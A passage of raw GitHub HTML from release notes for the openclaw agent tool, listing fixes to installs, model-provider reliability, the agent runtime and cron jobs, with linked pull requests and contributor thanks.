data-url="https://github.com/openclaw/openclaw/issues/112016" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112016/hovercard" href="https://github.com/openclaw/openclaw/pull/112016">#112016</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4957224483" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112988" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112988/hovercard" href="https://github.com/openclaw/openclaw/pull/112988">#112988</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4986390655" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114477" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114477/hovercard" href="https://github.com/openclaw/openclaw/pull/114477">#114477</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4849120016" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/103077" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/103077/hovercard" href="https://github.com/openclaw/openclaw/issues/103077">#103077</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4849448318" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/103089" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/103089/hovercard" href="https://github.com/openclaw/openclaw/issues/103089">#103089</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4957948039" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113005" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/113005/hovercard" href="https://github.com/openclaw/openclaw/issues/113005">#113005</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4982859022" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114187" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/114187/hovercard" href="https://github.com/openclaw/openclaw/issues/114187">#114187</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4987069083" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114524" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114524/hovercard" href="https://github.com/openclaw/openclaw/pull/114524">#114524</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4986789514" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114504" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114504/hovercard" href="https://github.com/openclaw/openclaw/pull/114504">#114504</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5013429350" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/116077" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/116077/hovercard" href="https://github.com/openclaw/openclaw/pull/116077">#116077</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5019733559" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/116399" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/116399/hovercard" href="https://github.com/openclaw/openclaw/pull/116399">#116399</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5035654685" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/117260" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/117260/hovercard" href="https://github.com/openclaw/openclaw/pull/117260">#117260</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lockhartheavyindustries/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lockhartheavyindustries">@lockhartheavyindustries</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/flashosophy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/flashosophy">@flashosophy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yetval/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yetval">@yetval</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/realaudreyserber-afk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/realaudreyserber-afk">@realaudreyserber-afk</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hvhoon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hvhoon">@hvhoon</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li><strong>Install and upgrade:</strong> preserve working installs on unsupported Node and npm 12, isolate source postinstall state, repair missing native adapters, keep versioned plugins off source paths, avoid dirty source builds, repair plugin config during upgrades, stabilize package-to-dev switches, restore production installs after the TypeBox package removal, ship documented plugin SDK typings, and discover external web-search plugins on fresh installs. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4879188128" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/106994" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/106994/hovercard" href="https://github.com/openclaw/openclaw/pull/106994">#106994</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4878236893" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/106870" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/106870/hovercard" href="https://github.com/openclaw/openclaw/issues/106870">#106870</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4890203029" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/108100" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/108100/hovercard" href="https://github.com/openclaw/openclaw/pull/108100">#108100</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4881202927" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/107290" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/107290/hovercard" href="https://github.com/openclaw/openclaw/issues/107290">#107290</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4924005165" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111514" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111514/hovercard" href="https://github.com/openclaw/openclaw/pull/111514">#111514</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4923978591" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111513" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/111513/hovercard" href="https://github.com/openclaw/openclaw/issues/111513">#111513</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4926165112" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111682" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111682/hovercard" href="https://github.com/openclaw/openclaw/pull/111682">#111682</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4954520126" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112829" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112829/hovercard" href="https://github.com/openclaw/openclaw/pull/112829">#112829</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4954514962" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112827" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/112827/hovercard" href="https://github.com/openclaw/openclaw/issues/112827">#112827</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4960910387" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113094" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113094/hovercard" href="https://github.com/openclaw/openclaw/pull/113094">#113094</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4968769903" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113324" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113324/hovercard" href="https://github.com/openclaw/openclaw/pull/113324">#113324</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4977632828" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113856" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113856/hovercard" href="https://github.com/openclaw/openclaw/pull/113856">#113856</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4977354316" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113821" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113821/hovercard" href="https://github.com/openclaw/openclaw/pull/113821">#113821</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4980132285" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114090" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114090/hovercard" href="https://github.com/openclaw/openclaw/pull/114090">#114090</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4983389627" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114215" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114215/hovercard" href="https://github.com/openclaw/openclaw/pull/114215">#114215</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4978660519" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113975" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/113975/hovercard" href="https://github.com/openclaw/openclaw/issues/113975">#113975</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4984566076" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114327" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114327/hovercard" href="https://github.com/openclaw/openclaw/pull/114327">#114327</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5000827181" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/115292" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/115292/hovercard" href="https://github.com/openclaw/openclaw/pull/115292">#115292</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5018357091" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/116333" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/116333/hovercard" href="https://github.com/openclaw/openclaw/pull/116333">#116333</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5018548141" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/116345" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/116345/hovercard" href="https://github.com/openclaw/openclaw/pull/116345">#116345</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/woohahahaaa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/woohahahaaa">@woohahahaaa</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sallyom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sallyom">@sallyom</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alxfyvwebaccts-png/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alxfyvwebaccts-png">@alxfyvwebaccts-png</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pash-openai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pash-openai">@pash-openai</a>.</li>
<li><strong>Provider reliability:</strong> prevent false Codex exhaustion and silent replies, honor Anthropic Retry-After, preserve selected Claude CLI profiles and adopted chats, remove the rejected Codex OAuth realtime fallback, recover stalled Claude CLI sessions without losing native cache continuity, reuse plugin metadata during model selection, bound stalled provider response bodies, and stabilize Ollama/LM Studio/local-model discovery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4916528232" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110381" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110381/hovercard" href="https://github.com/openclaw/openclaw/pull/110381">#110381</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4744977481" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/96815" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/96815/hovercard" href="https://github.com/openclaw/openclaw/issues/96815">#96815</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4920198968" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110980" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110980/hovercard" href="https://github.com/openclaw/openclaw/pull/110980">#110980</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4920623934" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111072" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111072/hovercard" href="https://github.com/openclaw/openclaw/pull/111072">#111072</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4857154981" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/103849" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/103849/hovercard" href="https://github.com/openclaw/openclaw/issues/103849">#103849</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4944343054" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112458" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112458/hovercard" href="https://github.com/openclaw/openclaw/pull/112458">#112458</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4712072101" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/95612" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/95612/hovercard" href="https://github.com/openclaw/openclaw/issues/95612">#95612</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4885272890" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/107668" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/107668/hovercard" href="https://github.com/openclaw/openclaw/issues/107668">#107668</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4960736801" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113078" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113078/hovercard" href="https://github.com/openclaw/openclaw/pull/113078">#113078</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4971575410" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113393" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113393/hovercard" href="https://github.com/openclaw/openclaw/pull/113393">#113393</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4985315526" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114397" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114397/hovercard" href="https://github.com/openclaw/openclaw/pull/114397">#114397</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4980251264" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114094" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114094/hovercard" href="https://github.com/openclaw/openclaw/pull/114094">#114094</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4980002689" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114086" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/114086/hovercard" href="https://github.com/openclaw/openclaw/issues/114086">#114086</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4984384669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114288" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114288/hovercard" href="https://github.com/openclaw/openclaw/pull/114288">#114288</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4985459345" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114405" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114405/hovercard" href="https://github.com/openclaw/openclaw/pull/114405">#114405</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4988091335" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114582" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114582/hovercard" href="https://github.com/openclaw/openclaw/pull/114582">#114582</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4999135139" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/115211" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/115211/hovercard" href="https://github.com/openclaw/openclaw/pull/115211">#115211</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4995815276" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/115021" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/115021/hovercard" href="https://github.com/openclaw/openclaw/issues/115021">#115021</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4977727068" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113866" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113866/hovercard" href="https://github.com/openclaw/openclaw/pull/113866">#113866</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4980956576" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114117" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114117/hovercard" href="https://github.com/openclaw/openclaw/pull/114117">#114117</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4903282663" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109088" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/109088/hovercard" href="https://github.com/openclaw/openclaw/pull/109088">#109088</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxw77/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxw77">@xxw77</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yetval/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yetval">@yetval</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cstreeter/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cstreeter">@cstreeter</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/josh-cornelius/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/josh-cornelius">@josh-cornelius</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lanyoung/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lanyoung">@lanyoung</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonidasLux/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonidasLux">@LeonidasLux</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BomBastikDE/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BomBastikDE">@BomBastikDE</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VACInc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VACInc">@VACInc</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SunnyShu0925/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SunnyShu0925">@SunnyShu0925</a>.</li>
<li><strong>Agent and Codex runtime:</strong> bound malformed Code Mode repair to one correction turn, preserve valid native Codex controls, keep promoted approvals from blocking unattended runs, and retain the original requester when an approval is promoted. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5006527709" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/115729" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/115729/hovercard" href="https://github.com/openclaw/openclaw/pull/115729">#115729</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5001115644" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/115311" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/115311/hovercard" href="https://github.com/openclaw/openclaw/issues/115311">#115311</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4884142768" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/107588" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/107588/hovercard" href="https://github.com/openclaw/openclaw/pull/107588">#107588</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5014329104" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/116117" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/116117/hovercard" href="https://github.com/openclaw/openclaw/pull/116117">#116117</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5014930433" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/116152" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/116152/hovercard" href="https://github.com/openclaw/openclaw/pull/116152">#116152</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VACInc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VACInc">@VACInc</a>.</li>
<li><strong>Cron reliability:</strong> restore one-shot and startup catch-up jobs, preserve script state and scheduled authority across restarts, accept benign same-generation updates, bind jobs to the durable store session, unblock completed jobs behind slower batches, and trim job IDs before exact lookup. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4880694705" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/107236" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/107236/hovercard" href="https://github.com/openclaw/openclaw/pull/107236">#107236</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4916390578" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110351" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110351/hovercard" href="https://github.com/openclaw/openclaw/pull/110351">#110351</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4839090334" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/102236" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/102236/hovercard" href="https://github.com/openclaw/openclaw/issues/102236">#102236</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4921864793" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111292" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111292/hovercard" href="https://github.com/openclaw/openclaw/pull/111292">#111292</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4921720973" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111271" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/111271/hovercard" href="https://github.com/openclaw/openclaw/issues/111271">#111271</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4921721077" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111272" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/111272/hovercard" href="https://github.com/openclaw/openclaw/issues/111272">#111272</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4921721187" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111273" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/111273/hovercard" href="https://github.com/openclaw/openclaw/issues/111273">#111273</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4921721298" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111274" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/111274/hovercard" href="https://github.com/openclaw/openclaw/issues/111274">#111274</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4944973921" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112483" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112483/hovercard" href="https://github.com/openclaw/openclaw/pull/112483">#112483</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4960838098" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113088" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113088/hovercard" href="https://github.com/openclaw/openclaw/pull/113088">#113088</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4960795861" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113085" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/113085/hovercard" href="https://github.com/openclaw/openclaw/issues/113085">#113085</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4985644738" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114421" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114421/hovercard" href="https://github.com/openclaw/openclaw/pull/114421">#114421</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4985901461" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114441" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114441/hovercard" href="https://github.com/openclaw/openclaw/pull/114441">#114441</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4919276293" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110849" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110849/hovercard" href="https://github.com/openclaw/openclaw/pull/110849">#110849</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SL4N/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SL4N">@SL4N</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yetval/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yetval">@yetval</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/metahacker/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/metahacker">@metahacker</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/efpiva/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/efpiva">@efpiva</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nocodet888-arch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nocodet888-arch">@nocodet888-arch</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
